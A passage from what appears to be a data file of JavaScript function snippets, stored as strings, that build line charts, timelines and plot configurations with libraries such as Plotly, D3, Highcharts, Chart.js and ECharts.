//.format('ddd, MMM D') \n let yval = \"$\" + revenue.toFixed(2);\n let hovertext = yval + \" (\" + formattedDate + \")\";\n\n return hovertext;\n }),\n hoverinfo: 'text+name', //will display the hovertext next to the name\n\n // hoverinfo: 'x+y+name',\n // size: tempChartData.installs.map( (value) => {\n // if(value < 10){\n // return 10; \n // }\n // return value/20;\n // }),\n visible: true,\n yaxis: \"y1\",\n // yaxis: metrics_axis_lookup[metric],\n line: {\n dash: metrics_info[\"ltv_subs_revenue\"].dash,\n shape: \"spline\",\n smoothing: 0.6,\n // dash: metrics_linetype_lookup[metric],\n color: \"purple\"\n // color: advertiser_colors[advertiser] foobar\n }\n };\n\n traces.push(trace);\n\n\n\n }\n\n\n\n // console.log(\"traces: \", traces);\n var lineLayout = {\n hovermode:'closest',\n // title: 'Bubble Chart Hover Text',\n // showlegend: false,\n xaxis: {title: \"date\", domain: [0.06, 0.94], showgrid: false},\n yaxis: {\n title: nameYAxisTitle(\"y1\"), //\"yaxis1 title\"\n // range: setAxisRangeWhenEmpty([0,1]),\n range: (y1AxisMaxValue === 0) ? setAxisRangeWhenEmpty([0,1]) : [0, y1AxisMaxValue], \n autorange: (y1AxisMaxValue === 0) ? true : false, // autorange will take precedence over the above\n showticklabels: setAxisLabelsAndGridVisibility(), // true or false depending on if any metrics are chosen\n showgrid: setAxisLabelsAndGridVisibility(),\n rangemode: \"tozero\"\n },\n // yaxis: {title: \"yaxis1 title\"},\n yaxis2: {\n title: nameYAxisTitle(\"y2\"), //'yaxis2 title'\n // range: [0, 5],\n //if y2AxisMaxValue is 0, then return [] otherwise return [0, y2AxisMaxValue]\n range: (y2AxisMaxValue === 0) ? [] : [0, y2AxisMaxValue],\n rangemode: \"tozero\",\n // titlefont: {color: 'rgb(148, 103, 189)'},\n // tickfont: {color: 'rgb(148, 103, 189)'},\n overlaying: 'y',\n // anchor: 'x',\n // autorange: true,\n side: 'right'\n },\n yaxis3: {\n title: nameYAxisTitle(\"y3\"), //'yaxis2 title'\n rangemode: \"tozero\",\n titlefont: {color: 'rgb(148, 103, 189)'},\n tickfont: {color: 'rgb(148, 103, 189)'},\n gridcolor: 'rgb(148, 103, 189)',\n anchor: 'free',\n overlaying: 'y',\n // autorange: true,\n side: 'left',\n position: 0.0\n },\n yaxis4: {\n title: nameYAxisTitle(\"y4\"), //'yaxis2 title'\n rangemode: \"tozero\",\n titlefont: {color: 'rgb(148, 103, 189)'},\n tickfont: {color: 'rgb(148, 103, 189)'},\n gridcolor: 'rgba(148, 103, 189, 0.3)',\n // linecolor: 'rgb(148, 103, 189)', // sets the color of the vertical y axis line next to the ticks\n zerolinecolor: 'rgba(148, 103, 189, 0.8)', // #969696\n zerolinewidth: 2,\n anchor: 'free',\n overlaying: 'y',\n // autorange: true,\n side: 'right',\n position: 1.0\n },\n // legend: {orientation:\"h\"},\n legend: {orientation:\"h\", x: \"0.0\", y: \"1.2\"},\n height: 600,\n width: 1200\n };\n \n Plotly.react(myPlotDiv, traces, lineLayout);\n // Plotly.newPlot('linegraph', traces, lineLayout);\n\n // Because people usually only pay us if they have converted from trial to subscription\n // We shouldn't care about revenue or subs based metrics for days between today and 7 days ago\n // Due to this, we want to draw a vertical line on the graph to show where that cutoff is\n // But we only want to do it if a metric is on the graph that is based on Revenue or Subscribers\n // so first we filter out the metrics chosen to see if any of them are \"subs_metrics\"\n let highlight_revenue_cutoff_date_metrics_chosen = metrics_chosen.filter((metric) => {return metrics_info[metric].highlight_revenue_cutoff_date });\n \n // if the data we are displaying contains the date where we want to draw the vertical line\n // AND there is at least one \"subs_metrics\" that the user has chosen then draw that line!\n if( tempChartData.date.includes(revenueCutoffDate) && ( highlight_revenue_cutoff_date_metrics_chosen.length > 0) ){\n\n let yAxisMaxVal = lineLayout.yaxis.range[1];\n\n // console.log(\"Adding revenue cutoff date trace\");\n // console.log('Y-axis range max val: ' + yAxisMaxVal);\n \n let trace = {\n x: [revenueCutoffDate, revenueCutoffDate],\n y: [0, yAxisMaxVal],\n // name: \"8 Days Ago\",\n name: \"8 Days Ago\",\n // name: advertiser_shortname_lookup[advertiser] + \" \" + metric,\n // text: \"testing\",\n mode: 'lines',\n hovertext: \"<b>Trial Conversion Window</b><br>(revenue may be low after)<br>\" + moment(revenueCutoffDate).format('ddd, MM/DD'),\n hoverinfo: 'text', //will display the hovertext next to the name\n // hoverinfo: 'x+y+name',\n // size: tempChartData.installs.map( (value) => {\n // if(value < 10){\n // return 10; \n // }\n // return value/20;\n // }),\n //visible: true,\n showlegend: false,\n yaxis: \"y1\",\n line: {\n dash: \"dot\",\n //shape: \"spline\",\n //smoothing: 0.6,\n // dash: metrics_linetype_lookup[metric],\n color: \"black\"\n // color: advertiser_colors[advertiser]\n }\n };\n\n // console.log(\"adding revenue cutoff trace\");\n Plotly.addTraces(myPlotDiv, trace);\n\n }\n\n //check to see if any of the ROAS metrics are checked\n let draw_112_percent_line = false; \n \n //if any of them are checked then set the boolean to true\n metrics_chosen.map((metric) => {\n if(metric == \"roas\" || metric == \"total_roas\" || metric == \"total_roas_gc\"){\n draw_112_percent_line = true;\n }\n });\n\n //if a ROAS metric is checked, draw a line at 12% to show what our ROAS target is\n // COMMENTED OUT THIS LINE AND SET THE CONDITION TO ALWAYS BE \"false\"\n // SO THIS CODE WILL NEVER RUN FOR THIS VERSION\n // if( draw_112_percent_line ){\n if( false ){\n\n console.log(\"Adding 112% trace\");\n \n let trace = {\n x: [tempChartData.date[0], tempChartData.date[tempChartData.date.length - 1]],\n y: [12, 12],\n name: \"ROAS Goal\",\n // name: advertiser_shortname_lookup[advertiser] + \" \" + metric,\n // text: \"testing\",\n mode: 'lines',\n hovertext: \"112%\",\n hoverinfo: 'text+name', //will display the hovertext next to the name\n // hoverinfo: 'x+y+name',\n // size: tempChartData.installs.map( (value) => {\n // if(value < 10){\n // return 10; \n // }\n // return value/20;\n // }),\n //visible: true,\n showlegend: false,\n yaxis: \"y4\",\n line: {\n dash: \"dot\",\n //shape: \"spline\",\n //smoothing: 0.6,\n // dash: metrics_linetype_lookup[metric],\n color: \"gold\"\n // color: advertiser_colors[advertiser]\n }\n };\n\n // console.log(\"adding revenue cutoff trace\");\n Plotly.addTraces(myPlotDiv, trace);\n\n }\n\n}", "function clockTick() {\n var clock = data.clock;\n\n // Check whether the engine is running.\n if (!clock.running) {\n clockLastTime_secs = undefined;\n return;\n }\n\n var delta_secs = 0, dbeat, dbar;\n\n while (true) {\n if (clockLastTime_secs) {\n var now_secs = theAudioContext.currentTime;\n var sqpb = kTimeStruc[clock.struc].semiQuaversPerBar;\n var ticks_per_sec = clock.tempo_bpm * sqpb / 60;\n var nextTickTime_secs = lastTickTime_secs + 1 / ticks_per_sec;\n if (now_secs + kDelay_secs >= nextTickTime_secs) {\n dbeat = Math.floor(((clock.pos % sqpb) + 1) / sqpb);\n dbar = Math.floor((clock.beat + dbeat) / kTimeSig.D[clock.sig]);\n clock.bar = (clock.bar + dbar) % kTimeStruc[clock.struc].cycleLength;\n clock.beat = (clock.beat + dbeat) % kTimeSig.N[clock.sig];\n clock.pos = clock.pos + 1;\n lastTickTime_secs = nextTickTime_secs;\n } else {\n return;\n }\n } else {\n // Very first call.\n clockLastTime_secs = theAudioContext.currentTime;\n clock.bar = 0;\n clock.beat = 0;\n clock.pos = 0;\n lastTickTime_secs = clockLastTime_secs + kDelay_secs;\n }\n\n // If we're doing a morph, set all the relevant control values.\n updateMorph();\n\n // Perform all the voices for all the active presets.\n var i, N, v;\n for (i = 0, N = data.voices.length; i < N; ++i) {\n v = data.voices[i];\n if (v) {\n genBeat(v, clock, lastTickTime_secs);\n }\n }\n\n // Do the callback if specified.\n if (onGridTick) {\n onGridTick(clock);\n }\n }\n }", "function updateTime() {\n if (typeof envData === 'undefined') {\n return;\n }\n else if (scope.currenttime > envData[envData.length -1].time) {\n timeData[0].time = envData[envData.length -1].time;\n timeData[1].time = envData[envData.length -1].time;\n }\n else if (scope.currenttime < envData[0].time) {\n timeData[0].time = envData[0].time;\n timeData[1].time = envData[0].time;\n }\n else if (typeof timeData !== 'undefined') { \n timeData[0].time = scope.currenttime;\n timeData[1].time = scope.currenttime;\n }\n \n svg.select('#timeLine')\n .datum(timeData)\n .transition() \n .attr(\"d\", currentTimeLine)\n .ease(\"linear\")\n .duration(150); \n }", "function FetchAndDraw_bak() {\n var axis_fmt;\n var sampling;\n var days = (utime_end - utime_begin) / (24.0*60*60);\n if (days <=0.5) { axis_fmt = '%Hh%Mm'; sampling = 1; }\n else if (days <= 1) { axis_fmt = '%Hh' ; sampling = 1; }\n else if (days <= 3) { axis_fmt = '%d %Hh' ; sampling = 1; }\n else if (days <= 7) { axis_fmt = '%m/%d %Hh' ; sampling = 2; }\n else if (days <= 14) { axis_fmt = '%m/%d' ; sampling = 3; }\n else { axis_fmt = '%m/%d' ; sampling = 10; }\n\n var date_begin = new Date(1000*utime_begin);\n var date_end = new Date(1000*utime_end );\n var date_now = new Date();\n $(\"#status\").html( 'Fetching records from database server...' );\n $.post(\n \"fetch.php\",\n { \"utime_begin\" : utime_begin,\n \"utime_end\" : utime_end , \n \"sampling\" : sampling },\n function(data, status) {\n\t $(\"#status\").html( 'Tabularizing last measurement...' );\n\t var npt = data[0].length;\n var time_last = data[0][npt-1][0] * 1000;\n\t var date_last = new Date(time_last);\n\n\t $(\"#time_last\").html( \" @ \" + FormatDateTime(date_last) );\n $(\"#time_last_warning\").html(\"\");\n if (sampling == 1) {\n var minutes_warn = 15;\n var minutes_noup = (date_now.getTime() - time_last) / 6e4; // msec -> minute\n if (minutes_noup > minutes_warn) {\n $(\"#time_last_warning\").html(\" !! No record for last \" + Math.floor(minutes_noup) + \" minutes !!\");\n //$(\"#time_last_warning\").css (\"color\", \"red\");\n }\n }\n\n\t ConvertData (data);\n DrawLastMeas(data);\n\n\t $(\"#status\").html( 'Drawing plots...' );\n\t var options = { xaxis: { mode: \"time\", timeformat: axis_fmt }, \n selection: { mode: \"y\" }, \n\t\t\t legend: { position: 'nw' }, \n//\t\t\t lines: { show: false }, points: { show: true } \n\t\t\t };\n var idx_data = 0;\n var idx_plot = 0;\n for (let group in plane_list) {\n for (let type of ['V', 'I']) {\n var list_data = [];\n for (let plane of plane_list[group]) {\n list_data.push( { label: plane, data: data[idx_data] } );\n idx_data++;\n }\n let place = $(\"#gr_\"+group+\"_\"+type);\n let plot = $.plot(place, list_data, options);\n place.bind(\"plotselected\", function(event, ranges) {\n $.each(plot.getYAxes(), function(_, axis) {\n var opts = axis.options;\n opts.min = ranges.yaxis.from;\n opts.max = ranges.yaxis.to;\n });\n plot.setupGrid();\n plot.draw();\n plot.clearSelection();\n });\n place.dblclick(function () {\n $.each(plot.getYAxes(), function(_, axis) {\n var opts = axis.options;\n opts.min = null;\n opts.max = null;\n });\n plot.setupGrid();\n plot.draw();\n });\n idx_plot++;\n }\n }\n var str_stat = \"Checked at <b>\" + FormatDateTime(date_now) + \"</b>. \" + npt + \" records.\";\n if (sampling > 1) str_stat += \" Sampled down by \" + sampling + \".\";\n\t $(\"#status\").html(str_stat);\n },\n \"json\" );\n}", "function plotData(m) {\n d = [];\n var axis = y;\n if (m == \"apdex\") \n axis = apdex;\n else if (m == \"rpm\")\n axis = throughputScale; \n\n for (i = 0; i < $data.timeslices.length; i++) {\n d[i] = { time: x($data.timeslices[i].time), val: axis($data.timeslices[i][m]) };\n }\n return d;\n }", "_setTicksAndInterval() {\n const that = this;\n\n if (!that._isVisible() || that._renderingSuspended) {\n that._renderingSuspended = true;\n return;\n }\n\n //Set the New Format here\n let minLabel = that._formatLabel(that.min),\n maxLabel = that._formatLabel(that.max);\n\n //gets the range with the new min/max\n that._getRange();\n\n //creates a new tickIntervalHandler instance\n that._tickIntervalHandler = new JQX.Utilities.TickIntervalHandler(that, minLabel, maxLabel, 'jqx-label', that._settings.size, that.scaleType === 'integer', that.logarithmicScale);\n\n //re-arranges the layout\n that._layout();\n\n if (!that.customInterval) {\n // calculates the tickInterval\n that._calculateTickInterval();\n\n if (that._dateInterval) {\n that._intervalHasChanged = true;\n that._numericProcessor.addCustomTicks();\n }\n else {\n // Add the ticks and labels\n that._numericProcessor.addTicksAndLabels();\n }\n }\n else {\n if (that.mode === 'date') {\n that._calculateTickInterval()\n }\n\n // custom ticks\n that._intervalHasChanged = true;\n that._numericProcessor.addCustomTicks();\n }\n }", "function modifyInterval () {\n try {\n // Retrieve time values from the user inputs, verify the dates are valid by attempting to create Date objects\n var subsetStart = new Date($('#subsetStart').combodate('getValue', null)._d);\n subsetStart = subsetStart.getTime();\n var subsetEnd = new Date($('#subsetEnd').combodate('getValue', null)._d);\n subsetEnd = subsetEnd.getTime();\n\n // Verify that the timestamps chosen are within the 24 hour period. If not, provide a message for the user\n if (subsetStart < dataStartTime) {\n $(\"#errorMessage\").text(\"Starting time is outside the 24 hour range\");\n } else if (subsetEnd > dataEndTime) {\n $(\"#errorMessage\").text(\"Ending time is outside the 24 hour range\");\n } else {\n // If the time values are valid subsets of the data, retrieve all data points in this subset\n var temperatureSubset = new Array();\n var phSubset = new Array();\n temperatureData.forEach(function(dataPoint) {\n if(dataPoint.time.getTime() >= subsetStart && dataPoint.time.getTime() <= subsetEnd) {\n temperatureSubset.push(dataPoint);\n }\n });\n phData.forEach(function(dataPoint) {\n if(dataPoint.time.getTime() >= subsetStart && dataPoint.time.getTime() <= subsetEnd) {\n phSubset.push(dataPoint);\n }\n });\n\n // Remove any error message that may be present, and redraw the graphs with the subsets of data\n $(\"#errorMessage\").text(\"\");\n drawAll(temperatureSubset, phSubset);\n }\n\n // If a date was invalid, provide an error message for the user\n } catch (e) {\n $(\"#errorMessage\").text(\"Invalid date\");\n }\n}", "function renderGraph() {\n // Initialize arrays\n var line_data = new Object();\n var tags = form_tags(SINGLEGRAPH_FORM);\n for (var i=0;i<tags.length;i++) {\n if (SINGLEGRAPH_IGNORE_TAGS.indexOf(tags[i]) === -1) {\n line_data[tags[i]] = new Array();\n }\n }\n \n // Calculate timestamps\n var start_timestamp = Number(moment(START_MONTH+\"-\"+START_YEAR, \"MM-YYYY\").unix() * 1000);\n var end_timestamp = Number(moment());\n\n // Parse each month\n var month_count = monthDifference(start_timestamp, end_timestamp);\n var month = Number(START_MONTH);\n var year = Number(START_YEAR);\n for (var i=0;i<month_count;i++) {\n\n // Append data\n var ts1 = Number(moment(month+\"-\"+year, \"MM-YYYY\").unix() * 1000);\n var ts2 = Number(moment((month+1)+\"-\"+year, \"MM-YYYY\").unix() * 1000);\n\n if (form_isLocationBound(SINGLEGRAPH_FORM)) {\n var loc = document.getElementById('static_location').value;\n if (loc !== \"\") {\n var doc = collection_findOne(form_name(SINGLEGRAPH_FORM), {location:Number(loc), timestamp:{$gt:ts1,$lt:ts2}});\n }\n } else {\n var doc = collection_findOne(form_name(SINGLEGRAPH_FORM), {timestamp:{$gt:ts1,$lt:ts2}});\n }\n \n for (var j=0;j<tags.length;j++) {\n if (SINGLEGRAPH_IGNORE_TAGS.indexOf(tags[j]) === -1) {\n if (doc && doc[tags[j]]) {\n line_data[tags[j]].push([ts1 + 86400000, Number(doc[tags[j]])]);\n } else {\n line_data[tags[j]].push([ts1 + 86400000, 0]);\n }\n }\n }\n\n // update the counter\n month++;\n if (month > GLOBAL_MONTHS.length) {\n month = 1;\n year++;\n }\n }\n\n // Now we have all data and labels so we can display the chart\n $('.chartContainer2').highcharts('StockChart', {\n rangeSelector: {selected:4,inputDateFormat:'%b %Y',inputEditDateFormat:'%b %Y'},\n xAxis:{gridLineWidth:1,type:'datetime',tickInterval:30*24*3600000,labels:{formatter:function() {return Highcharts.dateFormat(\"%b %Y\", this.value);}}},\n title: {text:''},\n legend: {enabled:true},\n chart: {type: 'spline'},\n tooltip: {\n headerFormat: '<span style=\"font-size:10px\">{point.key}</span><table>',\n pointFormat: '<tr><td style=\"color:{series.color};padding:0\">{series.name}: </td>' +\n '<td style=\"padding:0\"><b>{point.y:.1f} EUR</b></td></tr>',\n footerFormat: '</table>',\n shared: true,\n useHTML: true\n },\n series:buildSeries(tags, line_data)\n });\n}", "function onConfigUpdate(widget, chart) {\n let options = chart.options;\n options.elements.line.tension = widget.options.drawCurves ? 0.4 : 0;\n let time = 0; //widget.options.drawAnimations ? 1000 : 0;\n options.animation.duration = time;\n options.responsiveAnimationDuration = time;\n let yAxis = options.scales.yAxes[0];\n let converter = Units.converter(widget.unit);\n yAxis.ticks.callback = function(value, index, values) {\n let text = converter.format(value, widget.unit === 'bytes');\n return widget.options.perSec ? text + ' /s' : text;\n };\n yAxis.ticks.suggestedMin = widget.axis.min;\n yAxis.ticks.suggestedMax = widget.axis.max;\n let xAxis = options.scales.xAxes[0];\n xAxis.ticks.source = 'data'; // 'auto' does not allow to put labels at first and last point\n xAxis.ticks.display = widget.options.noTimeLabels !== true;\n options.elements.line.fill = widget.options.noFill !== true;\n return chart;\n }", "drawCanvas(arrData) {\n const W = +this.elements.$tags.contentWrap.getBoundingClientRect().width;\n const H = +this.panel.svgHeight;\n const dateFrom = this.range.from.clone();\n const dateTo = this.range.to.clone();\n\n // область визуализации с данными (график)\n const margin = this.elements.sizes.marginAreaVis;\n const widthAreaVis = W - margin.left - margin.right;\n const heightAreaVis = H - margin.top - margin.bottom;\n const heightRowBar = parseInt(heightAreaVis / arrData.length, 10);\n\n const xScaleDuration = d3.scaleTime()\n .domain([0, new Date(dateTo).getTime() - new Date(dateFrom).getTime()])\n .range([0, widthAreaVis]);\n\n const xScaleTime = d3.scaleTime()\n .domain([new Date(dateFrom).getTime(), new Date(dateTo).getTime()])\n .range([0, widthAreaVis]);\n\n const canvasElement = d3.select(document.createElement('canvas'))\n .datum(arrData) // data binding\n .attr('width', widthAreaVis)\n .attr('height', heightAreaVis);\n\n const context = canvasElement.node().getContext('2d');\n\n // clear canvas\n context.fillStyle = 'rgba(0,0,0, 0)';\n context.rect(0, 0, canvasElement.attr('width'), canvasElement.attr('height'));\n context.fill();\n\n let top = 0;\n const sizeDiv = 1; // dividing line\n\n _.forEach(arrData, (changes, i, arr) => {\n _.forEach(changes, (d) => {\n context.beginPath();\n context.fillStyle = d.color;\n context.rect(\n xScaleTime(d.start) < 0 ? 0 : xScaleTime(d.start),\n top, xScaleDuration(d.ms),\n arr.length - 1 !== i ? heightRowBar - sizeDiv : heightRowBar,\n );\n context.fill();\n context.closePath();\n });\n\n top += heightRowBar;\n });\n return canvasElement.node();\n }", "async drawR16Lines(){\n let that = this\n let Roundof16Lines = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23];\n let R16Lines = d3.select(\"#R16-Lines\").selectAll('line');\n let joined = R16Lines.data(Roundof16Lines).join('line')\n joined.attr(\"x1\", d =>{\n if(d < 8)\n return that.buffer;\n else if (d >= 8 && d < 16)\n return that.svgWidth - that.buffer - that.lineLength - that.lineThickness / 2;\n else if (d >= 16 && d < 20)\n return that.lineLength + that.buffer;\n else\n return that.svgWidth - that.buffer - that.lineLength;})\n .attr(\"y1\", d =>{\n if(d < 8)\n return that.buffer + that.R16Separation * d;\n else if (d >= 8 && d < 16)\n return that.buffer + that.R16Separation * (d - 8);\n else if (d >= 16 && d < 20)\n return that.buffer + that.R16Separation * 2 * (d - 16);\n else\n return that.buffer + that.R16Separation * 2 * (d - 20);})\n .attr(\"x2\", d =>{\n if(d < 8)\n return that.buffer + that.lineLength + that.lineThickness / 2;\n else if (d >= 8 && d < 16)\n return that.svgWidth - that.buffer;\n else if (d >= 16 && d < 20)\n return that.lineLength + that.buffer;\n else\n return that.svgWidth - that.buffer - that.lineLength;})\n .attr(\"y2\", d =>{\n if(d < 8)\n return that.buffer + that.R16Separation * d;\n else if (d >= 8 && d < 16)\n return that.buffer + that.R16Separation * (d - 8);\n else if (d >= 16 && d < 20)\n return that.buffer + that.R16Separation * 2 * (d - 16) + that.R16Separation;\n else\n return that.buffer + that.R16Separation * 2 * (d - 20) + that.R16Separation;})\n .attr(\"class\", \"bracket-line\"); \n }", "function initChart() {\n\n\tvar months = ['January','February','March','April','May','June','July',\n\t\t\t\t\t'August','September','October','November','December'];\n\n\tvar chart = c3.generate({\n\t\tbindto: '#fig2',\n\t\ttype: 'line',\n\t\tsize: { height: 400 },\n\t\tdata: { columns: [],\n\t\t\t\tselection: { enabled: true }\n\t\t},\n\t\ttitle: { text: 'Accidents per Month' },\n\t\taxis: {\n\t\t\tx: {\n\t\t\t\ttype: 'category',\n\t\t\t\tcategories: months,\n\t\t\t\tlabel: {\n\t\t\t\t\ttext: 'Month',\n\t\t\t\t\tposition: 'outer-center'\n\t\t\t\t }\n\t\t\t},\n\t\t\ty: {\n\t\t\t\tlabel: {\n\t\t\t\t\ttext: 'Number Of Aviation Accidents',\n\t\t\t\t\tposition: 'outer-middle'\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t});\n\n\tchart.legend.hide();\n\t\n\ttypes = ['bar','spline','step','line'];\n\n\tcounter = 0\n\tendHere = 0\n\ttimer = window.setInterval(function(){\n\t\tchart.transform(types[counter])\n\t\tconsole.log(types[counter])\n\t\tcounter++\n\t\tendHere++\n\t\tif (counter == 4) { counter = 0 }\n\t\tif (endHere == 50) { clearInterval(timer) }\n\t},5000)\n\n\treturn chart;\n\n}", "multiLineChartConfig(chartData, chartDataColors, displayLable, yLabel, displayGrid, groupBy) {\n var datasets = [];\n for (var i = 0; i < chartData.length; i ++) {\n datasets.push({\n lineTension: 0,\n data: chartData[i],\n borderColor: chartDataColors[i],\n borderWidth: 0.8,\n pointRadius: 1.5\n })\n }\n function addCommas(nStr) {\n nStr += '';\n x = nStr.split('.');\n x1 = x[0];\n x2 = x.length > 1 ? '.' + x[1] : '';\n var rgx = /(\\d+)(\\d{3})/;\n while (rgx.test(x1)) {\n x1 = x1.replace(rgx, '$1' + ',' + '$2');\n }\n return x1 + x2;\n }\n return {\n type: \"line\",\n data: {\n datasets: datasets\n },\n options: {\n legend: {\n display: false\n },\n scales: {\n xAxes: [{\n type: \"time\",\n time: {\n unit: groupBy,\n round: groupBy\n },\n scaleLabel: {\n display: false,\n labelString: \"Time by \" + groupBy\n },\n gridLines: {\n display: displayGrid\n }\n }],\n yAxes: [{\n scaleLabel: {\n display: displayLable,\n labelString: yLabel\n },\n ticks: {\n beginAtZero: true,\n suggestedMax: 4,\n callback: addCommas\n },\n gridLines: {\n display: displayGrid\n }\n }]\n }\n }\n };\n }", "function tempoSketch(track) {\n // (2) This function _returns a function_ which Processing runs to make \n // our sketch.\n\n function sketchProc(P1) {\n var myTrack = track;\n\n // (2) We'll plot tempo every 1.125 seconds\n var dt = 12.5;\n var numPoints = Math.round(myTrack.length) / dt;\n\n \n var points = []; // (2) an array to hold the points we'll plot\n\n P1.setup = function() {\n P1.size(1000, 400);\n if (track.echo) {\n for (var i = 0; i < numPoints; i++) {\n tempo[i] = tempoAt(track, dt * i);\n points[i] = [i, tempo[i]];\n }\n\n // (2) Scale our points down to fill up our width and height\n points = scalePoints(points, P1.width, P1.height);\n console.log(points);\n\n // (1) Draw our points in a slightly transparent black\n P1.noFill();\n P1.stroke(0, 0.5 * 255);\n P1.beginShape();\n for (var j = 0; j < points.length; j++) {\n var x = points[j][0];\n var y = P1.height + points[j][1];\n P1.curveVertex(x, y);\n }\n P1.endShape();\n } else {\n console.log(track.name, \"has no EchoNest data.\");\n }\n };\n\n P1.draw = function() {\n // (2) Since we're not animating, we don't need anything in draw\n };\n }\n\n return sketchProc;\n}", "getOptions() {\n let grids = []\n let xAxies = []\n let yAxies = []\n let series = []\n \n let sampleRate = store.getState().sampleRate\n let keysArray = Object.keys(this.state.eegData)\n // Remove deleted keys\n keysArray = keysArray.filter((key) => {\n return !this.removedAxies.includes(key);\n });\n\n // Layout configuration\n function generateGridTops(grid_height, num_grids) {\n // Returns an array of the top value for each\n // grid to be represented by keysArray\n let padding = 4\n let render_limits = [0+padding, 100-padding]\n let jump_width = (100 - 2*padding) / num_grids\n var list = [];\n for (var i = render_limits[0]; i <= render_limits[1]; i += jump_width) {\n let adjusted_top = i - (grid_height / 2) \n list.push(Math.ceil(adjusted_top));\n }\n return list\n }\n let height = 40\n let topsList = generateGridTops(height, keysArray.length)\n\n keysArray.forEach((key) => {\n let i = keysArray.indexOf(key)\n let grid_top = topsList[i] + \"%\"\n\n grids.push({\n id: key,\n left: '10%',\n right: '2%',\n top: grid_top,\n height: height + \"%\",\n show: true,\n name: key,\n tooltip: {\n show: false,\n trigger: 'axis',\n showDelay: 25\n },\n containLabel: false, // Help grids aligned by axis\n borderWidth: 0\n })\n\n xAxies.push({\n id: key,\n name: key,\n // Index of data as categories, for now\n data: [...Array(this.state.eegData[key].length).keys()],\n type: 'category',\n gridIndex: i,\n showGrid: false,\n axisTick: {\n show: false,\n },\n axisLabel: {\n show: (i == keysArray.length - 1), // Only show on last grid\n interval: sampleRate - 1,\n formatter: (value, index) => {\n return (this.bufferStartIndex + parseInt(value)) / sampleRate\n }\n },\n axisLine: {\n show: false,\n },\n splitLine: {\n show: true,\n interval: sampleRate - 1,\n },\n // Trigger event means you can click on name to register event\n triggerEvent: true,\n nameLocation: 'start',\n })\n\n // let scaleMax = new MyMaths().roundToNextDigit(Math.max(...this.state.eegData[key]))\n let scaleMax = 1\n let scaleMin = -scaleMax\n\n yAxies.push({\n id: key,\n type: 'value',\n gridIndex: i,\n axisLabel: {\n show: false,\n },\n axisLine: {\n show: false,\n },\n splitLine: {\n show: false,\n },\n showGrid: false,\n // Programatically scale min/max\n min: scaleMin,\n max: scaleMax\n })\n\n // Add a line config to series object\n series.push({\n name: key,\n type: 'line',\n symbol: 'none',\n lineStyle: {\n width: 0.5,\n color: 'black',\n },\n gridIndex: i,\n yAxisIndex: i,\n xAxisIndex: i,\n smooth: false,\n sampling: 'lttb',\n\n data: this.state.eegData[key],\n })\n })\n\n /**\n * Configure backsplash grid for highlights and such\n * Adds a grid at backsplashGridIndex that takes full height\n * Adds an xAxis identical to the others\n * Adds a series of 0s meant to be undisplayed,\n * just for markAreas to be applied to\n */\n let timestampFormatter = (value) => {\n let secs = ((value + this.bufferStartIndex) / sampleRate) + this.time_adjustment_secs\n var date = new Date(0);\n date.setSeconds(secs);\n return date.toISOString().substr(11, 8);\n }\n\n this.backsplashGridIndex = keysArray.length\n let backsplashGridIndex = this.backsplashGridIndex\n let configureBacksplashGrid = () => {\n if (backsplashGridIndex == 0) {\n // Catch before data loads in\n return\n }\n let arbitraryKey = keysArray[0]\n\n grids.push({\n left: '10%',\n right: '4%',\n top: '0%',\n bottom: '4%',\n show: false,\n containLabel: false, // Help grids aligned by axis\n })\n yAxies.push({\n type: 'value',\n gridIndex: backsplashGridIndex,\n axisLabel: {\n show: false,\n },\n axisLine: {\n show: false,\n },\n splitLine: {\n show: false,\n },\n showGrid: false,\n min: -1e-3,\n max: 1e-3,\n })\n xAxies.push({\n // Index of data as categories, for now\n data: [...Array(this.state.eegData[arbitraryKey].length).keys()],\n type: 'category',\n gridIndex: backsplashGridIndex,\n showGrid: false,\n axisTick: {\n show: false,\n },\n axisLabel: {\n show: true,\n interval: sampleRate - 1,\n formatter: (value, index) => {\n return timestampFormatter(value)\n }\n },\n axisLine: {\n show: false,\n },\n })\n series.push({\n type: 'line',\n symbol: 'none',\n lineStyle: {\n width: 0,\n color: '#00000000',\n },\n gridIndex: backsplashGridIndex,\n yAxisIndex: backsplashGridIndex,\n xAxisIndex: backsplashGridIndex,\n sampling: 'lttb',\n \n name: 'backSplashSeries',\n \n data: new Array(this.state.eegData[arbitraryKey].length).fill(0),\n })\n }\n configureBacksplashGrid()\n\n /**\n * \n * The actual configuration for the chart\n * Loads in all of the previously filled grids, xAxies, yAxies, and series\n * \n */\n let options = {\n // Use the values configured above\n grid: grids,\n xAxis: xAxies,\n yAxis: yAxies,\n series: series,\n\n // Other Configuration options\n animation: false,\n\n tooltip: {\n show: false,\n },\n\n // toolbox hidden\n toolbox: {\n orient: 'vertical',\n show: false,\n },\n\n // Brush allows for selection that gets turned into markAreas\n brush: {\n toolbox: ['lineX', 'keep'],\n xAxisIndex: backsplashGridIndex\n },\n\n dataZoom: [\n {\n show: false,\n xAxisIndex: Object.keys(series),\n type: 'slider',\n bottom: '2%',\n startValue: this.dz_start,\n endValue: this.dz_end,\n preventDefaultMouseMove: true,\n\n zoomOnMouseWheel: false,\n moveOnMouseWheel: false,\n moveOnMouseMove: false,\n },\n {\n yAxisIndex: Object.keys(series),\n type: 'slider',\n top: '45%',\n filterMode: 'none',\n show: false,\n\n zoomOnMouseWheel: false,\n moveOnMouseWheel: false,\n moveOnMouseMove: false,\n\n id: 'eegGain',\n start: 50 - this.yZoom,\n end: 50 + this.yZoom,\n },{\n type: 'inside',\n yAxisIndex: Object.keys(series),\n\n zoomOnMouseWheel: false,\n moveOnMouseWheel: false,\n moveOnMouseMove: false,\n }\n ],\n }\n\n return options\n }", "function lineTimerTick(){\n\n\tlineAccuracyCounter++;\n\n\tif (lineAccuracyCounter == 5){\n\t\t//Shift everyone forward in the line, 1 space.\n\t\tshiftLine(); //drawLine.js\n\t\tconsole.log(\"Line Size: \" + personArray.length);\n\n\t\tif (personArray.length == 0){\n\t\t\tstopTimer(lineTimer);\n\t\t}\n\t\tlineAccuracyCounter = 0;\n\t}\n\n\n}", "function drawData(update, direction) {\n\n if (!isLoading) {\n loader.transition().style('opacity', 0);\n\n // if there is no data, hide the old chart and details\n if (!self.lineData.length) {\n setStatus('No Data');\n } else {\n setStatus('');\n }\n }\n\n var area = d3.svg.area()\n .x(function(d) {\n return xScale(d.startTime);\n })\n .y0(height)\n .y1(function(d) {\n return priceScale(d.close);\n });\n\n var open = 